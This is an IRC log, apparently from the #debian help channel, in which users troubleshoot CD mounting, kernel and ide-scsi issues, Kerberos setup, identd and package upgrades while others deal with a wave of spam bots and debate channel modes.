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| 14:23.51 | suzzi | huni: eeep! that sounds bad. I wish I could help... I've never been lucky enough to have a box with a Raid controller =( |
| 14:23.51 | mikeirc | Is there a way to get an updated version through apt-get? |
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| 14:23.55 | jim | mikeirc: cat /etc/debian-version |
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| 14:24.04 | suzzi | Piggeldi: do you have GAIM installed? |
| 14:24.09 | abcxyz | ich galube ist etwas sinnlos hier, aber kann mich auch täuschen.../ I think its sensless here but can also fale in my opinion... BYE :) |
| 14:24.22 | mikeirc | jim: 3.0 |
| 14:24.23 | Piggeldi | yes... and kopete... |
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| 14:24.36 | jim | mikeirc: so you're running woody |
| 14:24.48 | mikeirc | jim: yeah.. |
| 14:24.52 | greycat | mikeirc: /msg dpkg woody->sarge |
| 14:24.55 | greycat | !FAQ |
| 14:24.55 | dpkg | The #debian FAQ is at http://www.linuks.mine.nu/debian-faq-wiki/ |
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| 14:25.03 | huni | :( ...yeah thats stragen noone can help me :) |
| 14:25.07 | suzzi | Piggeldi: what version of GAIM is installed? 1:1.1.1.1-1 is testing 1:1.1.4-* is unstable |
| 14:25.28 | jim | mikeirc: there are many options, including just build your own copy |
| 14:25.39 | suzzi | huni: all I can offer is a hug. sorry |
| 14:25.58 | jim | argh! and she only had one left! |
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| 14:26.44 | Piggeldi | its 1:1.1.1.1-1 |
| 14:26.46 | BadMan | might someone help me with my mount issues...? |
| 14:26.48 | mikeirc | jim: Yeah.. I was hoping to avoid dependency hell though..which I've already hit trying to build it just now... that's why I was double checking on getting a new version via apt-get |
| 14:26.52 | caligula | mount say: /dev/hda9 on /tmp type ext3 # umount /dev/hda9: umount: /dev/hda9: not mounted |
| 14:26.57 | caligula | I don't understand |
| 14:27.06 | solarwinds | hi all |
| 14:27.25 | mikeirc | greycat: so you're saying that if I'm running the latest version of the os I'll get the most updated packages for various applications? |
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| 14:27.34 | gahan | does turck-mmcache works with latest php in testing? |
| 14:27.41 | suzzi | Piggeldi: well congrats your already tracking testing... or you havent apt-get upgraded in a few months? |
| 14:27.50 | solarwinds | qustion, I am tring to start zssh and getting out of pty's , why ?? |
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| 14:28.00 | suzzi | BadMan: I'm sorry I missed your problem, what did you need help with? |
| 14:28.02 | BadMan | when mounting(music cd) as a reg user i get: wrong fs, bad option bad superblock on/dev/cdrom or to many mounted file systesm |
| 14:28.22 | BadMan | Im a newb btw 8-) |
| 14:28.24 | Ashtars_fanclub | how can i map special keys on my keybord? |
| 14:28.29 | Piggeldi | i upgrade about once a month or more |
| 14:28.38 | jim | BadMan: "mount" and "music cd" dont' go together |
| 14:28.42 | suzzi | BadMan: I could be wrong but I dont think you can mount an audio CD in the same way that you can a data CD |
| 14:28.45 | asg | BadMan: you can't mount music cds |
| 14:28.53 | solarwinds | qustion, I am tring to start zssh and getting out of pty's , why ?? |
| 14:28.58 | suzzi | Piggeldi: your tracking testing then |
| 14:28.59 | BadMan | ahhh |
| 14:29.05 | Piggeldi | ok... |
| 14:29.15 | WageSlave | Anyone know of a good kerberos FAQ? The pam site just doesn't have enough depth for me to get it. |
| 14:29.33 | BadMan | so If I want to "rip" or listen to a music cd on my linux system(better sound card and speaker setup then other boxes, what would I do |
| 14:29.46 | jim | WageSlave: kerberos is an mit thing |
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| 14:30.22 | asg | WageSlave: dpkg-reconfigure krb5-config (follow prompts) |
| 14:30.47 | BadMan | this box also has my burner and dvd player(combo drive already followed the faq for append-hdd=ide-scsi) |
| 14:30.56 | ircdevil | me go home |
| 14:31.05 | suzzi | BadMan: well theres a bunch of programs/scripts that will just convert your cds to OGG or MP3 if thats what you want, or if you just wanted to listen then I think all you have to do is point XMMS or what ever to the /dev entry for your drive. but I've never done that. |
| 14:31.08 | WageSlave | been down that road over and over, I have a feeling I'm gonna have to roll this one on my own. |
| 14:31.34 | asg | WageSlave: then add 'auth sufficient pam_unix.so' 'auth required pam_krb5.so use_first_pass debug' to your /etc/pam.d/<whatever> files |
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| 14:31.41 | suzzi | WageSlave: sorry I cant think of any thing other then google |
| 14:31.41 | BadMan | ok.. I will give it a shot |
| 14:32.00 | jim | WageSlave: now I built kerberos key servers before... but keys without locks or even doors wasn't enough... |
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| 14:32.36 | jim | i.e., you had to have other things built against kerberos libs that act as doors with locks |
| 14:32.37 | WageSlave | K thanks... I've dried up google well... I'm just trying to get a box up on a w2k3 AD for a client. |
| 14:32.53 | asg | WageSlave: is it a woody box? |
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| 14:33.03 | abrotman | !ops CjCtXaWE spamming |
| 14:33.04 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: CjCtXaWE spamming |
| 14:33.08 | asg | WageSlave: woody's kerberos implementation is too old to work with Win2k3 |
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| 14:33.26 | ricky_clarkson | abrotman: What's the deal then? |
| 14:33.29 | Piggeldi | suzzi: any more ideas? |
| 14:33.32 | abrotman | ricky_clarkson: about what? |
| 14:33.34 | sevenoak | what does that mean: Error: fontconfig: Didn't find expected font family. Perhaps URW Type 1 fonts need installing? : Times-Roman ... google looks empty |
| 14:33.42 | ricky_clarkson | abrotman: d-o, d-s and j-h-wk |
| 14:33.44 | mikeirc | greycat: heh..some of the output from making these changes to sarge looks pretty nasty...but it appears to be working none the less.. Thanks. |
| 14:33.48 | abrotman | now Ulqlyk is spamming |
| 14:33.49 | suzzi | Piggeldi: I'm sorry I got sidetracked... where did we leave off? |
| 14:33.59 | stew | anyone wanna take odds on how long before Ulqlyk also gets k-lined? |
| 14:34.03 | ricky_clarkson | abrotman: /umode +E |
| 14:34.06 | stew | doh |
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| 14:34.19 | abrotman | ricky_clarkson: i don't have a problem with anything that transpired with jharrison .. i think it was perfectly kosher |
| 14:34.22 | Piggeldi | we checked the version of gaim... and figured out the ill track testing |
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| 14:34.34 | caligula | anyone have experience with DRBD? |
| 14:34.38 | adjacent | Ulqlyk is a spam bot. someone boot this fool? |
| 14:34.40 | abrotman | !ops Ulqlyk spamming |
| 14:34.40 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: Ulqlyk spamming |
| 14:34.51 | abrotman | yay |
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| 14:35.00 | adjacent | nice |
| 14:35.07 | suzzi | Piggeldi: I though that it was you were already tracing testing because your version of GAIM matches the version in testing. |
| 14:35.16 | ricky_clarkson | People, you can ignore spam by using /umode +E (or the equivalent in your IRC client). |
| 14:35.23 | suzzi | Piggeldi: isnt that what you were looking for... or did I forget something? |
| 14:35.34 | jim | what';s +E do? |
| 14:35.37 | suzzi | Piggeldi: rember I'm unstable so any thing could have happend? |
| 14:35.41 | jm_ | Exterminate |
| 14:35.46 | adjacent | ricky_clarkson: i can also hang up the phone when telemarketers come, but that isnt the point. |
| 14:35.49 | ricky_clarkson | jim: Ignores private messages from unregistered users. |
| 14:35.56 | LoRez | unidentified |
| 14:35.58 | jim | Paris Hilton likes Daleks |
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| 14:36.12 | sofaSpud | Hi - can someone tell me if mysql & mysql-base pkgs have been replaced by mysql-common, -server, and -client? |
| 14:36.24 | ricky_clarkson | adjacent: Sometimes you have to deal with the result, rather than its cause. |
| 14:36.33 | Piggeldi | my problem is still my cdrom... but there may be the solution that i'm not really on sarge... and woody doesnt support 2.6 kernel as well |
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| 14:36.52 | jim | sofaSpud: possible... but why aren't you using something good like postgres? |
| 14:37.19 | Piggeldi | so it might be possible that, if i upgrade to sarge, my cdrom will work (hopefully) |
| 14:37.23 | sofaSpud | I want a web backend. Want to try mysql |
| 14:37.29 | valdyn_ | !replaces mysql-server |
| 14:37.32 | suzzi | Piggeldi: ahh sorry I totaly missed the CD thing, sorry |
| 14:37.42 | jim | sofaSpud: look into openacs |
| 14:37.47 | Piggeldi | no prob |
| 14:37.51 | suzzi | Piggeldi: so is it something that is not supported in 2.4? |
| 14:37.52 | jim | nice -nice- templating setup |
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| 14:38.15 | jim | your graphic designers don't have to program\ |
| 14:38.54 | jim | and your programmers can stay out of the graphic designer thing by just providing data sources |
| 14:39.17 | suzzi | sofaSpud: mysql and mysql-base, I think those are just virtual packages that wrap the curent versions of mysql-common, client, and server |
| 14:39.23 | Piggeldi | no.. i upgraded my kernel from 2.4.20-xfs to 2.6.10-1-686 installing the deb kernel-image package |
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| 14:39.26 | abrotman | fiucking god |
| 14:39.30 | abrotman | Vkype is spamming too |
| 14:39.40 | abrotman | i'm changing my nick to start with a Z |
| 14:39.41 | suzzi | sofaSpud: but if your looking for a web backend you could just hire me.... heeh |
| 14:39.44 | suzzi | umm |
| 14:39.49 | suzzi | too much coffee |
| 14:39.55 | Piggeldi | with 2.4 all worked fine except of sound and some other stuff (ACPI e.g.) |
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| 14:40.12 | jim | * [Vkype] is an identified user |
| 14:40.21 | abrotman | doesn't matter .. still spamming |
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| 14:40.31 | jim | they learns fast |
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| 14:40.50 | suzzi | Piggeldi: did you roll your own or just install the dist package? |
| 14:40.55 | Piggeldi | i expect the problem with using (or not using) ide-scsi driver or something like that |
| 14:41.00 | abrotman | fucking god |
| 14:41.04 | Piggeldi | just the package |
| 14:41.19 | jim | are they only spamming you? |
| 14:41.22 | abrotman | no |
| 14:41.31 | abrotman | i don't want to call ops again .. god damn it |
| 14:41.37 | suzzi | Piggeldi: well is it a burner? |
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| 14:41.44 | du`ranain | does anyone know how to configure xinetd for xchat? |
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| 14:41.54 | abrotman | are you kidding me .. |
| 14:41.58 | Piggeldi | yes it is... |
| 14:42.07 | abrotman | !ops Vkype spamming |
| 14:42.10 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: Vkype spamming |
| 14:42.11 | Piggeldi | dvd/cdrw |
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| 14:42.15 | abrotman | this is getting pretty bad |
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| 14:42.25 | suzzi | Piggeldi: ahhh... ok. |
| 14:42.27 | adjacent | im getting them too |
| 14:42.28 | abrotman | that's 3 in like 10 minutes |
| 14:42.29 | adjacent | hahahahha |
| 14:42.55 | abrotman | LoRez: and Ngyycw |
| 14:42.55 | suzzi | Piggeldi: and it doesnt mount or it doenst burn? |
| 14:43.07 | ricky_clarkson | adjacent: abrotman: /umode +E |
| 14:43.07 | Piggeldi | it does not mount... |
| 14:43.09 | brullo | no spam bots puking on me, but I had some two days ago |
| 14:43.20 | abrotman | ricky_clarkson: yes .. doesn't help the channel |
| 14:43.21 | adjacent | ricky_clarkson: you win, its done |
| 14:43.28 | abrotman | ricky_clarkson: we've been over this before |
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| 14:43.45 | suzzi | Piggeldi: check dmesg and see what points to it now... when you switch to 2.6 it's not /dev/hd* any more |
| 14:43.53 | jim | ricky_clarkson: that doesn't HELP if they REGISTER |
| 14:43.54 | treestone | The IP address of Vkype belongs to a range in Turkey that used to be blocked in the past, afaik |
| 14:43.58 | ricky_clarkson | Well, if everybody had +E, then spambots would have to register. |
| 14:44.04 | suzzi | Piggeldi: I think it's /dev/sa* or something like that |
| 14:44.10 | vaq | How do i see if a port is in use in my linux system and then how to kill the app who is using the port? |
| 14:44.13 | jim | ricky_clarkson: which he did |
| 14:44.16 | ricky_clarkson | If nickserv altered the way that you register every so often, then they couldn't automate registering. |
| 14:44.16 | abrotman | ricky_clarkson: one of them was registered |
| 14:44.17 | suzzi | Piggeldi: dmesg will let you know |
| 14:44.19 | asg | vaq: netstat, fuser, lsof |
| 14:44.20 | LoRez | ricky_clarkson: which would give them a message that they'd have to register, which they then do. |
| 14:44.21 | spo0nman | A raid disk (dunno what number i.e. raid[0-5]) on a machine is performing really badly. Writing 8G onto the disk takes about 4-5 hrs, whereas earlier (until last week) it used to take about 40mins. Any ideas as to how can I trace the root cause. even if the hardware is aging, are there tools to find that out? |
| 14:44.35 | vaq | asg: lsof |grep PORTNR ? |
| 14:44.40 | Piggeldi | it seems to be scd0 |
| 14:44.52 | asg | vaq: or fuser -v port/tcp |
| 14:44.54 | sofaSpud | suzzi: thanks for the info |
| 14:45.14 | suzzi | sofaSpud: np |
| 14:45.24 | Piggeldi | ls -la /dev/cdrom points to this |
| 14:45.33 | vaq | asg thanks! |
| 14:45.37 | du`ranain | what do i need to put into xinetd.conf to set up my ident for irc, specifically xchat? |
| 14:45.51 | du`ranain | to get rid of that annoying ~ in front of my ident |
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| 14:46.05 | nagual | you install ident |
| 14:46.09 | Ronin | du`ranain: nothing normally, you just need to install an identd |
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| 14:46.12 | Piggeldi | but dmesg still talks about hdc |
| 14:46.16 | du`ranain | it's installed |
| 14:46.27 | Ronin | and is it open on your firewall? |
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| 14:46.38 | LoRez | apparently they won't spam staff. |
| 14:46.41 | LoRez | someone else cycle. |
| 14:46.45 | jim | CZLiq is next one |
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| 14:46.57 | suzzi | Piggeldi: there should be more then just /dev/hdc that dmesg will talk about |
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| 14:47.04 | du`ranain | stuffed if i know, how do i check? |
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| 14:47.10 | ricky_clarkson | Hmm, it would probably help me detect it if I wasn't +E ;) |
| 14:47.19 | asg | ricky_clarkson: doh! :) |
| 14:47.26 | suzzi | Piggeldi: if all went well then it should tell you that ide-scsi is enabled blah blahblha |
| 14:47.32 | abrotman | holy mother of god |
| 14:47.44 | abrotman | now it's OenSIa and CZLiq |
| 14:47.51 | adjacent | this is pissing me off |
| 14:47.52 | Piggeldi | yes ATAPI... at irq 15 ... |
| 14:47.55 | adjacent | and im +E |
| 14:48.03 | ricky_clarkson | I haven't had any. |
| 14:48.10 | abrotman | ricky_clarkson: cause you have a g/f maybe? |
| 14:48.20 | du`ranain | Ronin: how do i change my ident then? |
| 14:48.26 | abrotman | ricky_clarkson: put an 'a' on the front of your nick |
| 14:48.28 | Piggeldi | but it also says "Unable to identify cdrom format" |
| 14:48.31 | du`ranain | like, permanently |
| 14:48.32 | ricky_clarkson | abrotman: Ok, I haven't had any since Sunday ;) |
| 14:48.47 | abrotman | now wait for the next one :) |
| 14:48.51 | Ronin | du`ranain: it has to be installed, running, and open on your firewall |
| 14:48.54 | adjacent | heh |
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| 14:49.17 | du`ranain | Ronin: how do i check if it's running/open? |
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| 14:49.36 | suzzi | Piggeldi: check google and see if your brand of Drive needs some special module installed |
| 14:49.37 | aricky_clarkson | Come on spammers.. |
| 14:49.41 | Piggeldi | it doesn't tell something about ide-scsi |
| 14:50.32 | suzzi | Piggeldi: well then it doenst look like the kernel knows that your drive needs it. |
| 14:51.46 | Piggeldi | i have in mind that a scsi drive isn't needed anymore in 2.6 for atapi drives |
| 14:52.15 | Piggeldi | scsi driver |
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| 14:53.12 | treestone | ide-cd then. |
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| 14:53.24 | du`ranain | Ronin: how do i check if identd is running and open on the firewall? |
| 14:53.43 | WageSlave | telnet <externalip> 113 |
| 14:53.52 | WageSlave | I think thats the right port |
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| 14:53.59 | WageSlave | been awhile |
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| 14:54.24 | bogon | yes, it is |
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| 14:55.03 | Piggeldi | maybe i really should think about reinstalling the machine.... |
| 14:55.23 | ricky_clarkson | Piggeldi: Woohoo. |
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| 14:56.06 | solarwinds | prego: I think 139 and 4xx... |
| 14:56.07 | abrotman | ricky_clarkson: you changed your nick too soon |
| 14:56.14 | BadMan | uhh, I did and apt-get install kmix and inserted cd1 as asked it read it then asked for cd2 but it wont let me eject the cdrom tray to swap disc.. any ideas? |
| 14:56.29 | abrotman | aaLoRez: Ayejpt also |
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| 14:56.45 | aaLoRez | yeah, I'm getting through them. they're hitting me too now. |
| 14:56.53 | adjacent | this sucks |
| 14:57.41 | abrotman | LoRez: should i just join #freenode and tell them directly ? |
| 14:57.49 | ricky_clarkson | zadjacent: nice. |
| 14:58.01 | LoRez | abrotman: no, I've told staff. I'm klining them. They're hitting #gentoo as well. |
| 14:58.10 | abrotman | yay |
| 14:58.14 | solarwinds | why ?? |
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| 14:58.20 | sml | spammers ? |
| 14:58.23 | zadjacent | heh. just visit the site. ts really pretty good pr0n |
| 14:58.26 | abrotman | sml: lots of them |
| 14:58.29 | zadjacent | j/k =) |
| 14:58.31 | ricky_clarkson | zadjacent: Haha. |
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| 14:58.39 | sml | abrotman: how come im getting no spam ? |
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| 14:58.48 | abrotman | sml: change your nick to asml |
| 14:58.54 | aricky_clarkson | I'm disappointed in the lack of spam. |
| 14:58.57 | abrotman | asml: now wait |
| 14:59.01 | Ashtars_fanclub | how can i configure keybord "special" keys? |
| 14:59.02 | asml | abrotman: ok |
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| 14:59.10 | abrotman | ricky_clarkson: none here right now |
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| 14:59.27 | abrotman | aaLoRez: heh |
| 14:59.37 | ricky_clarkson | aaLoRez: Are you really a dancer or is that something to do with dancer-ircd? |
| 14:59.41 | Piggeldi | but first i try the new knoppix to see if it fits my requirements ricky_clarkson |
| 14:59.45 | Piggeldi | :-P |
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| 14:59.54 | abrotman | sml: there aren't any here right now |
| 14:59.55 | LoRez | ricky_clarkson: that's the account I'm logged into. |
| 14:59.57 | treestone | Ashtars_fanclub: You could try to for example first check if the keys are visible at all, with 'xev'. Then, if yes, configure the with 'xmodmap'. |
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| 15:00.13 | sml | abrotman: Yar I noticed. Well at least you dont get the kind of shenanigans you get on the other networks |
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| 15:00.37 | treestone | s/the/them/ |
| 15:00.38 | sml | abrotman: Like just general high ratio of noise , and lameness. |
| 15:00.44 | ricky_clarkson | Well we'd solve the immediate problem by having +r on the channel. |
| 15:00.55 | abrotman | sml: i guess |
| 15:01.06 | sml | ricky_clarkson: well im still trying to work out what the hell +JLPcf are ;) |
| 15:01.31 | ricky_clarkson | If we're afraid that newbies couldn't manage to register, then I'll let you know that #java has +r and fuckwits still manage to get there (but not spammers). |
| 15:01.34 | sml | ricky_clarkson: well trying meaning "I've wondered but have not wondered enough to prompt me to google it" |
| 15:01.37 | scarynetworkguy | abrotman: Join us. You know you want to. |
| 15:01.50 | abrotman | scarynetworkguy: intolerance is not a goal of mine |
| 15:02.01 | sml | ricky_clarkson: does +r here mean registered nicks only ? |
| 15:02.06 | ricky_clarkson | sml: Yes. |
| 15:02.15 | ricky_clarkson | scarynetworkguy: Care for a small /msg discussion? |
| 15:02.52 | suzzi | well all it's off to breakfast for mee |
| 15:02.58 | suzzi | have a good day. |
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| 15:03.11 | scarynetworkguy | abrotman: Nothing intolerant about it. |
| 15:03.17 | abrotman | scarynetworkguy: IMO .. it is |
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| 15:03.39 | scarynetworkguy | ricky_clarkson: Not really no. But I will rejoin your channel if you want to talk there for a few minutes. |
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| 15:04.02 | Ashtars_fanclub | treestone: some of the keys seems to be available, where do i put xmodmap config? |
| 15:04.06 | BadMan | guess somehow it got cunfused.... |
| 15:04.53 | mikeirc | greycat: Running Sarge now and ethereal has been updated! Thanks again! ;) |
| 15:05.18 | treestone | Ashtars_fanclub: I haven't figured out (or bothered to figure out) if/where all these desktop managers want their login files. In the past you could use a .Xmodmap file but that doesn't seem to work out of the box these days. |
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| 15:05.33 | BadMan | arg |
| 15:05.36 | BadMan | what in the world |
| 15:05.46 | jim | bad green shoes? |
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| 15:06.27 | BadMan | I jsut went removed kmix and started apt-get on it again it asked for the cdrom again I insert it(using the eject button to open tray) asked for cd2 and Iw aited for light to stop now it will not let me ejct it! |
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| 15:07.14 | BadMan | is there a lock file that i need to remove so I can get the disc to eject again.. what is happening |
| 15:07.14 | jim | BadMan: weird... maybe there are weird mounting issues, or there are bugs in the user interface |
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| 15:07.25 | jim | see if it's mounted |
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| 15:07.45 | hlux | what debian do you recommend ? woody sage sarge ? |
| 15:07.53 | nevyn | hlux: for what? |
| 15:07.54 | jim | sage! |
| 15:08.05 | hlux | simple server |
| 15:08.07 | jim | debian spice! |
| 15:08.10 | jim | woody |
| 15:08.13 | BadMan | jim its says not mounted |
| 15:08.13 | hlux | cvs apache tomcat |
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| 15:08.29 | BadMan | jim is there a command line eject? |
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| 15:08.41 | jim | BadMan: I believe so |
| 15:08.59 | jim | but I forgot whether it was for ejecting tapes or cds or what |
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| 15:09.05 | stew | BadMan: its called "eject" |
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| 15:09.25 | BadMan | ok i will try anything hehe |
| 15:09.26 | hlux | jim : why would you prefer sage over woody ? |
| 15:09.36 | jim | sage has spice! |
| 15:09.43 | jim | note: there is no sage in debian |
| 15:09.55 | jim | there is sarge, woody |
| 15:10.00 | jim | sid is special |
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| 15:10.15 | nevyn | hlux: if you don't need stuff in sarge use woody. |
| 15:10.21 | iNeo | Hi, anybody using the tg3 module to activate the Broadcom Gig adap |
| 15:10.26 | jim | but for a simple server that you -depend- on, I think woody |
| 15:10.27 | hlux | jim : right ..no sage |
| 15:10.36 | leikh | are there any debian live-cds that fit on a miniCD (210MB)? (preferably with skype included) |
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| 15:10.43 | nevyn | eg: woody is useless with macs because the netatalk on woody and the samba on woody suck for talking to macs. |
| 15:10.45 | hlux | jim : whats special about sarge and sid ? |
| 15:10.59 | stew | leikh: skype would never be included, its not free, there are no debian livecds |
| 15:11.10 | jim | sid is special because it will never be released |
| 15:11.12 | johnga1t | under sarge, are there any wireless pcmcia cards that pretty much work plug-and-play style? (i.e. no kernel building, etc.) |
| 15:11.12 | BadMan | ok I typed /dev/cdrom -eject and tells me permission denied.. lockfile from apt-get? |
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| 15:11.16 | archpollux | hi |
| 15:11.16 | baikonur | hi |
| 15:11.25 | jim | sid leaks packages into testing when there are no bug reports |
| 15:11.33 | stew | BadMan: you got permission denied becuase /dev/cdrom isn't executable |
| 15:11.53 | johnga1t | (or should i say, no driver building against the kernel) |
| 15:11.59 | leikh | i rephrase; are there any debian-based live-cds that fit on a miniCD (210MB)? (preferably with skype included) |
| 15:12.14 | stew | BadMan: man eject |
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| 15:12.33 | hlux | thanks... |
| 15:12.33 | archpollux | dpkg --set-selections with output dpkg --get-selections from another comp will not uninstall non-mentioned packages, right? is there a way to do that? |
| 15:12.34 | dpkg | I think you lost me on that one, archpollux |
| 15:12.36 | stammi | hi. is sarge released? |
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| 15:12.39 | jim | leikh: if skype is non free, it probably won't be included in a debian |
| 15:12.45 | BadMan | stew manually ejecet? |
| 15:12.49 | johnga1t | need to get wireless up and running quickly on a laptop ... what's best wireless card? suggestions? |
| 15:12.52 | BadMan | I tried that earlier |
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| 15:12.56 | archpollux | leikh: google is your friend... |
| 15:13.00 | stew | BadMan: no, read the eject manpage |
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| 15:13.08 | stew | !wayttd BadMan |
| 15:13.09 | dpkg | What Are You Trying To Do, BadMan? |
| 15:13.11 | BadMan | no entry according to man |
| 15:13.25 | Pumpkin_Pie | how come I cant use "replace" ? |
| 15:13.32 | jim | !wayttd |
| 15:13.32 | dpkg | What Are You Trying To Do? |
| 15:13.46 | stew | BadMan: then you don't have it installed.... |
| 15:13.49 | Pumpkin_Pie | nevermind... |
| 15:13.59 | leikh | jim: isn't skype included in debians free packages? |
| 15:14.00 | BadMan | dpkg apt-get locekd cdrom durin apt-get install kimx from disc 1 to disc 2 |
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| 15:14.08 | stew | leikh: skype isn't free |
| 15:14.14 | stew | leikh: not dfsg-free that is |
| 15:14.28 | nevyn | skype is so not free it's not even funny. |
| 15:14.37 | jim | leikh: if skype is free software, then -maybe-. but there seem to be indications that skype is nonfree. |
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| 15:15.30 | Shadur | What's skype? Yet another p2p filesharing proggy? |
| 15:15.37 | nevyn | leikh: it could go in non-free but it's so horrifically non-free that I doubt it not that there seems to be formal guidelines for what goes in non-free |
| 15:15.38 | stew | Shadur: a non-free voip client |
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| 15:15.46 | jim | leikh: read the license of skype and see whether you think it meets dfsg guidelines |
| 15:15.47 | BadMan | there is no lock file in /var/lock/ |
| 15:15.47 | nevyn | Shadur: voip protocol/client |
| 15:15.50 | Shadur | ahh |
| 15:15.52 | BadMan | this is so wierd |
| 15:15.52 | baikonur | I'm using debian/sid with CUPS and cannot print directly with mozilla-firefox and xprint. After starting the printing process nothing happens. If I print to file and then lp mozilla.ps it works fine. Xprint is running and $XPSERVERLIST is set to :64. |
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| 15:16.00 | stew | BadMan: what are you trying to do? |
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| 15:16.25 | leikh | Shadur: great sound quality with minimal usage of bandwith |
| 15:16.26 | Pumpkin_Pie | what are you tryyying to doo!!!!!!! |
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| 15:16.34 | jim | stew: short term: get his cd out |
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| 15:16.55 | stew | BadMan: use lsof or fuser to see what files are open from the cd |
| 15:17.01 | BadMan | stew i did an apt-get install kmix it asks for cd 1 inserted it using the eject biutton on cdrom like so many pkgs before it asks for cd 2, like so many pkgs before I wait to busy lite goes out and hit eject button it wont release the cd... |
| 15:17.04 | abrotman | LoRez: Ekuxvwo |
| 15:17.07 | BadMan | ok |
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| 15:17.24 | archpollux | BadMan: use network |
| 15:17.43 | archpollux | BadMan: and try unmounting the cdrom |
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| 15:18.57 | BadMan | ahahhaa.... my grip trial from earlier is locking it somehow... |
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| 15:19.22 | abrotman | aaLoRez: are you still getting them ? |
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| 15:20.33 | BadMan | oh my.. I enede my kde session and grip was still open when I erstarted whole comp... grip was running on another desktop.... |
| 15:21.04 | archpollux | again, is there a way to setup the same exact packages on another comp, with non-wanted ones removed? |
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| 15:22.00 | asg | archpollux: dpkg --get-selections > packages.txt ; dpkg --set-selections <packages.txt (on the other computer) |
| 15:22.21 | liplock | !+source |
| 15:22.21 | dpkg | Use 'apt-setup' to add a deb-src line to your sources.list. Then 'apt-get build-dep foo' to fetch the build deps, then finally 'apt-get [-b] source foo' to retrieve the .orig.tar.gz, the .diff.gz and the .dsc. The source is unpacked in `pwd` and the diff.gz is applied. -b compiles it for you; if you want to compile it yourself, use "dpkg-buildpackage -uc -us" ... |
| 15:22.28 | archpollux | asg: as i mentioned above and from what I know, that doesn't remove non-mentioned packages? |
| 15:22.50 | archpollux | asg: s/\?// |
| 15:23.18 | asg | archpollux: then grep out the packages you don't want and change the 'install' line to 'deinstall' ; apt-get update ; apt-get upgrade |
| 15:23.53 | archpollux | asg: i.e. there's no way of doing this with dpkg only.. |
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| 15:24.03 | archpollux | asg: that's what i wanted to know.. |
| 15:24.06 | BadMan | anyone got a good faq for cdburner on woody.. I did the FAQs suggestion for append-cdrom=ide-scsi and I have my combo(cdrw/dvd) as hdd |
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| 15:24.34 | archpollux | BadMan: append="cdrom=ide-scsi" |
| 15:24.51 | archpollux | BadMan: do you actually have it as /dev/hdd? |
| 15:24.55 | BadMan | yeah jsut fast typing c/p properly |
| 15:24.58 | archpollux | BadMan: cuz that means it's not scsi |
| 15:25.08 | stew | hmm shouldn't the source factoid mention fakeroot? |
| 15:25.09 | BadMan | 2.4.18 kernel |
| 15:25.49 | stew | !ops Mmjhfgd spammer |
| 15:25.50 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: Mmjhfgd spammer |
| 15:25.58 | stew | man, i'm even +E and got spam |
| 15:26.15 | BadMan | archpollux this is the line I put in before my image in lilo.conf append="hdd=ide-scsi" |
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| 15:26.56 | XunII | what means with xserver-xfree86-dbg ? -dbg ? |
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| 15:27.06 | baikonur | what is the format used for $XPSERVERLIST? and how can I debug xprint if it does not work correctly? |
| 15:27.08 | archpollux | BadMan: do you have sd_mod and sg loaded? |
| 15:27.18 | archpollux | XunII: debug |
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| 15:27.22 | BadMan | archpollux let me check |
| 15:27.23 | stew | BadMan: what does uname -r say/ |
| 15:27.23 | XunII | aha, thx |
| 15:27.41 | greycat | !punish sarge for not having a working m-a a-i nvidia |
| 15:27.46 | BadMan | stew 2.4.18-bf2.4 |
| 15:27.55 | stew | BadMan: /msg dpkg real kernel |
| 15:28.05 | stew | BadMan: you are using an install kenrel |
| 15:28.20 | BadMan | this is the kernel off woody cd5.. |
| 15:28.30 | stew | BadMan: exactly, its not a real kernel |
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| 15:29.47 | tinamoo | anyone with geforce 6800? |
| 15:30.25 | stew | tinamoo: /msg dpkg nvidia howto ; /msg dpkg nvidia one-liner |
| 15:30.37 | greycat | So... how *do* you get m-a a-i nvidia to work in sarge? |
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| 15:31.53 | BadMan | I guess I need to rebuild kernel and include module support for the cdrw sg_mod and sd_mod? |
| 15:32.04 | stew | BadMan: or ust apt-get a kernel |
| 15:32.24 | BadMan | hmm.... I dont know... Im kinda leary at this point lol |
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| 15:33.08 | BadMan | would definitely require som hand holding ;-/ |
| 15:33.16 | Krisso | hey guys |
| 15:33.34 | BadMan | stew would you hold my hand hehe |
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| 15:33.52 | traz_ | howdy |
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| 15:34.36 | Krisso | can some1 tell me how to do the following: i connected to an wireless access point with my laptop. my laptop is also connected to a windows pc throught normal lan cable (100mbit) now i want to share the wireless internet connection with that windows pc.. how to do that? |
| 15:34.39 | brullo | qbrew...wow that is what I call a inspirative package for the weekend. Cheers! :-) |
| 15:34.59 | abrotman | stupid spammers |
| 15:34.59 | traz_ | anyone using debian/testing with php4-dbase module? i'm updating with dselect and it's telling me phpapi-20020918 is not available so php4-dbase will be removed. |
| 15:35.01 | dubphil | Hello where can I find the perl module NET::SMTP I'm struggling with all the libnetxxx-yyyy-perl package :-( |
| 15:35.02 | stew | BadMan: apt-get update; apt-cache search kernel-image, pick the most recent 2.4.18 for your arch (probably i386), apt-get the kernel, if you use lilo, you need to pay attention when it starts talking about initrd (man lilo.conf) |
| 15:35.06 | traz_ | i need that dbase module |
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| 15:35.09 | brynjarh | PHP is a scripting language, C# is a programming language, HTML is a markup language, XML is a ?? |
| 15:35.21 | jim | Krisso: what os does laptop run? |
| 15:35.23 | sml | brynjarh: markup |
| 15:35.28 | SlayerXP | brynjarh: it's an extensible markup language |
| 15:35.36 | brynjarh | hmm |
| 15:35.39 | Krisso | jim, debian. sarge, 2.6.10 kernel. |
| 15:35.50 | sml | brynjarh: its not so dissimilar to HTML the only difference is yoru liberal use of your own custom tags.. :) |
| 15:36.00 | jim | you could run ipmasq |
| 15:36.08 | sml | brynjarh: hence the name "Extensible" |
| 15:36.10 | brynjarh | Okay I got it now. :) |
| 15:36.12 | jim | i.e., the laptop becomes a router |
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| 15:36.24 | cdc | is KDE better or Gnome? |
| 15:36.25 | jim | in addition to whatever else it's doing |
